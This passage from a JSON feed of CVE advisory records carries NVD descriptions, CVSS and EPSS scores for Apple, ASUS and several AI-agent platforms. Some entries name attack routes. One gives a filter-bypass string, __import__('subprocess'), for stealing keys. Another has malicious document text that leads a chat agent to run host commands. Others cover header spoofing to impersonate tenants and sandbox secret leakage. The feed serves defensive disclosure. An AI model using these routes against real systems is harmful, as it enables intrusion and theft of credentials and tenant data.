ASUS Security Advisory for more information.","detail":"An uncontrolled search path element vulnerability in ASUS Armoury Crate allows local users to execute arbitrary code with SYSTEM privileges via replacement of a dynamic-link library (DLL) that is later loaded by a high-privilege process.\nRefer to the '\nSecurity Update for Armoury Crate App ' section on the ASUS Security Advisory for more information.\n\nNVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-20T02:17:08.147Z","updatedAt":"2026-10-21T04:17:06.093Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.5,"version":"4.0","vector":"CVSS:4.0/AV:L/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-102438","asOf":"2026-10-21T04:17:06.093Z"},"epss":{"probability":0.00162,"percentile":0.05395,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-102438&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-102438","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-102438","type":"primary","publishedAt":"2026-10-20T02:17:08.147Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=5500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-102438&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-102438, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-86961","cveId":"CVE-2026-86961","aliases":[],"kind":"vulnerability","title":"A race condition was addressed with additional validation.","summary":"A race condition was addressed with additional validation. This issue is fixed in iOS 27 and iPadOS 27, macOS Golden Gate 27. A malicious app may be able to break out of its sandbox.","detail":"A race condition was addressed with additional validation. This issue is fixed in iOS 27 and iPadOS 27, macOS Golden Gate 27. A malicious app may be able to break out of its sandbox.\n\nNVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-20T01:17:28.857Z","updatedAt":"2026-10-21T04:18:11.817Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.8,"version":"3.1","vector":"CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:C/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-86961","asOf":"2026-10-21T04:18:11.817Z"},"epss":{"probability":0.00103,"percentile":0.00955,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-86961&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-86961","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-86961","type":"primary","publishedAt":"2026-10-20T01:17:28.857Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=5500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-86961&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-86961, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-86949","cveId":"CVE-2026-86949","aliases":[],"kind":"vulnerability","title":"This issue was addressed by enforcing library validation on the affected binaries.","summary":"This issue was addressed by enforcing library validation on the affected binaries. This issue is fixed in Xcode 27. A malicious app may be able to break out of its sandbox.","detail":"This issue was addressed by enforcing library validation on the affected binaries. This issue is fixed in Xcode 27. A malicious app may be able to break out of its sandbox.\n\nNVD status: Undergoing Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-20T01:17:28.370Z","updatedAt":"2026-10-21T04:18:11.647Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.8,"version":"3.1","vector":"CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-86949","asOf":"2026-10-21T04:18:11.647Z"},"epss":{"probability":0.00146,"percentile":0.03774,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-86949&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-86949","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-86949","type":"primary","publishedAt":"2026-10-20T01:17:28.370Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=5500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-86949&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-86949, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-86922","cveId":"CVE-2026-86922","aliases":[],"kind":"vulnerability","title":"A type confusion issue was addressed with improved state management.","summary":"A type confusion issue was addressed with improved state management. This issue is fixed in Safari 27, iOS 27 and iPadOS 27, macOS Golden Gate 27, visionOS 27. Processing maliciously crafted web content may lead to arbitrary code execution.","detail":"A type confusion issue was addressed with improved state management. This issue is fixed in Safari 27, iOS 27 and iPadOS 27, macOS Golden Gate 27, visionOS 27. Processing maliciously crafted web content may lead to arbitrary code execution.\n\nNVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-20T01:17:27.600Z","updatedAt":"2026-10-21T04:18:11.380Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.8,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-86922","asOf":"2026-10-21T04:18:11.380Z"},"epss":{"probability":0.00335,"percentile":0.26629,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-86922&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-86922","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-86922","type":"primary","publishedAt":"2026-10-20T01:17:27.600Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=5500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-86922&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-86922, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-86919","cveId":"CVE-2026-86919","aliases":[],"kind":"vulnerability","title":"A stack overflow was addressed with improved input validation.","summary":"A stack overflow was addressed with improved input validation. This issue is fixed in iOS 26.7 and iPadOS 26.7, iOS 27 and iPadOS 27, macOS Golden Gate 27, macOS Sequoia 15.8, macOS Tahoe 26.7, visionOS 27. An attacker with a paired Bluetooth device may be able to execute arbitrary code.","detail":"A stack overflow was addressed with improved input validation. This issue is fixed in iOS 26.7 and iPadOS 26.7, iOS 27 and iPadOS 27, macOS Golden Gate 27, macOS Sequoia 15.8, macOS Tahoe 26.7, visionOS 27. An attacker with a paired Bluetooth device may be able to execute arbitrary code.\n\nNVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-20T01:17:27.390Z","updatedAt":"2026-10-21T04:18:11.210Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.8,"version":"3.1","vector":"CVSS:3.1/AV:A/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-86919","asOf":"2026-10-21T04:18:11.210Z"},"epss":{"probability":0.00392,"percentile":0.33012,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-86919&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-86919","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-86919","type":"primary","publishedAt":"2026-10-20T01:17:27.390Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=5500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-86919&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-86919, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-77938","cveId":"CVE-2026-77938","aliases":[],"kind":"vulnerability","title":"Letta through 0.16.8 contains an information disclosure vulnerability that allows users running tools to read server secrets because LocalSandbox subprocesses inherit the full...","summary":"Letta through 0.16.8 contains an information disclosure vulnerability that allows users running tools to read server secrets because LocalSandbox subprocesses inherit the full server environment. Attackers can run code via POST /v1/tools/run or custom tools to read LETTA_PG_URI, POSTGRES_PASSWORD, and provider API keys, then access cross-tenant database data.","detail":"Letta through 0.16.8 contains an information disclosure vulnerability that allows users running tools to read server secrets because LocalSandbox subprocesses inherit the full server environment. Attackers can run code via POST /v1/tools/run or custom tools to read LETTA_PG_URI, POSTGRES_PASSWORD, and provider API keys, then access cross-tenant database data.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-20T01:17:20.410Z","updatedAt":"2026-10-20T20:11:29.833Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.1,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-77938","asOf":"2026-10-20T20:11:29.833Z"},"epss":{"probability":0.00416,"percentile":0.35639,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-77938&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-77938","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-77938","type":"primary","publishedAt":"2026-10-20T01:17:20.410Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=5500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-77938&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-77938, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-77937","cveId":"CVE-2026-77937","aliases":[],"kind":"vulnerability","title":"Letta through 0.16.8 contains an authentication bypass vulnerability that allows API callers to impersonate other users by supplying a self-asserted user_id HTTP header.","summary":"Letta through 0.16.8 contains an authentication bypass vulnerability that allows API callers to impersonate other users by supplying a self-asserted user_id HTTP header. Attackers can set user_id to another tenant's ID, even with LETTA_SERVER_SECURE enabled, to read and modify that user's agents, memory and configuration.","detail":"Letta through 0.16.8 contains an authentication bypass vulnerability that allows API callers to impersonate other users by supplying a self-asserted user_id HTTP header. Attackers can set user_id to another tenant's ID, even with LETTA_SERVER_SECURE enabled, to read and modify that user's agents, memory and configuration.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-20T01:17:20.263Z","updatedAt":"2026-10-20T20:11:29.833Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.6,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-77937","asOf":"2026-10-20T20:11:29.833Z"},"epss":{"probability":0.00473,"percentile":0.40635,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-77937&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-77937","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-77937","type":"primary","publishedAt":"2026-10-20T01:17:20.263Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=5500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-77937&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-77937, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-77935","cveId":"CVE-2026-77935","aliases":[],"kind":"vulnerability","title":"Coze Studio through 0.5.1 contains an insecure direct object reference vulnerability in workflow.go that allows authenticated users to access other spaces' workflows by supplying...","summary":"Coze Studio through 0.5.1 contains an insecure direct object reference vulnerability in workflow.go that allows authenticated users to access other spaces' workflows by supplying foreign workflowIDs. Attackers can pair their own spaceID with another tenant's workflowID in save, update_meta, batch_delete, canvas, test_run and nodeDebug routes to read, run, overwrite or delete workflows.","detail":"Coze Studio through 0.5.1 contains an insecure direct object reference vulnerability in workflow.go that allows authenticated users to access other spaces' workflows by supplying foreign workflowIDs. Attackers can pair their own spaceID with another tenant's workflowID in save, update_meta, batch_delete, canvas, test_run and nodeDebug routes to read, run, overwrite or delete workflows.\n\nNVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-20T01:17:19.970Z","updatedAt":"2026-10-20T20:06:37.150Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.7,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:L/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-77935","asOf":"2026-10-20T20:06:37.150Z"},"epss":{"probability":0.00412,"percentile":0.35185,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-77935&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-77935","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-77935","type":"primary","publishedAt":"2026-10-20T01:17:19.970Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=5500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-77935&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-77935, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-77934","cveId":"CVE-2026-77934","aliases":[],"kind":"vulnerability","title":"Coze Studio before 0.5.0 contains an insecure default configuration that allows any registered user to execute commands by running workflow code nodes in an unsandboxed python3...","summary":"Coze Studio before 0.5.0 contains an insecure default configuration that allows any registered user to execute commands by running workflow code nodes in an unsandboxed python3 subprocess. Attackers can bypass the regex import filter with __import__('subprocess') to run commands, stealing environment variables, model API keys, and accessing MySQL, MinIO, Redis and etcd.","detail":"Coze Studio before 0.5.0 contains an insecure default configuration that allows any registered user to execute commands by running workflow code nodes in an unsandboxed python3 subprocess. Attackers can bypass the regex import filter with __import__('subprocess') to run commands, stealing environment variables, model API keys, and accessing MySQL, MinIO, Redis and etcd.\n\nNVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-20T01:17:19.823Z","updatedAt":"2026-10-20T20:06:37.150Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.7,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-77934","asOf":"2026-10-20T20:06:37.150Z"},"epss":{"probability":0.00669,"percentile":0.5167,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-77934&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-77934","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-77934","type":"primary","publishedAt":"2026-10-20T01:17:19.823Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=5500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-77934&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-77934, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-77926","cveId":"CVE-2026-77926","aliases":[],"kind":"vulnerability","title":"Aix-DB 1.2.4 contains a remote code execution vulnerability that allows authenticated non-admin users to run operating system commands through the ChatBI common agent's ungated...","summary":"Aix-DB 1.2.4 contains a remote code execution vulnerability that allows authenticated non-admin users to run operating system commands through the ChatBI common agent's ungated deepagents execute tool. Attackers can send crafted chat input to POST /dify/get_answer or upload documents with malicious text to run host commands, exposing datasource credentials and model API keys.","detail":"Aix-DB 1.2.4 contains a remote code execution vulnerability that allows authenticated non-admin users to run operating system commands through the ChatBI common agent's ungated deepagents execute tool. Attackers can send crafted chat input to POST /dify/get_answer or upload documents with malicious text to run host commands, exposing datasource credentials and model API keys.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-20T01:17:19.213Z","updatedAt":"2026-10-20T20:11:29.833Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.7,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-77926","asOf":"2026-10-20T20:11:29.833Z"},"epss":{"probability":0.00851,"percentile":0.57945,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-77926&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-77926","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-77926","type":"primary","publishedAt":"2026-10-20T01:17:19.213Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=5500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-77926&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-77926, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-28853","cveId":"CVE-2026-28853","aliases":[],"kind":"vulnerability","title":"The issue was addressed with improved checks.","summary":"The issue was addressed with improved checks. This issue is fixed in macOS Sequoia 15.8, macOS Tahoe 26.7. An app may be able to elevate privileges.","detail":"The issue was addressed with improved checks. This issue is fixed in macOS Sequoia 15.8, macOS Tahoe 26.7. An app may be able to elevate privileges.\n\nNVD status: Undergoing Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-20T01:17:11.460Z","updatedAt":"2026-10-21T04:18:10.560Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.8,"version":"3.1","vector":"CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-28853","asOf":"2026-10-21T04:18:10.560Z"},"epss":{"probability":0.00143,"percentile":0.03604,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-28853&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-28853","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-28853","type":"primary","publishedAt":"2026-10-20T01:17:11.460Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=5500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-28853&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-28853, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-109443","cveId":"CVE-2026-109443","aliases":[],"kind":"vulnerability","title":"JoySafeter through 1.0.0 contains a remote code execution vulnerability that allows authenticated users to run operating system commands via an unsandboxed execute tool in Copilot...","summary":"JoySafeter through 1.0.0 contains a remote code execution vulnerability that allows authenticated users to run operating system commands via an unsandboxed execute tool in Copilot standard mode. Attackers can self-register, select standard mode in the WebSocket chat.start extension, and have the agent invoke subprocess.run with shell=True on the host to access other tenants' data and server secrets.","detail":"JoySafeter through 1.0.0 contains a remote code execution vulnerability that allows authenticated users to run operating system commands via an unsandboxed execute tool in Copilot standard mode. Attackers can self-register, 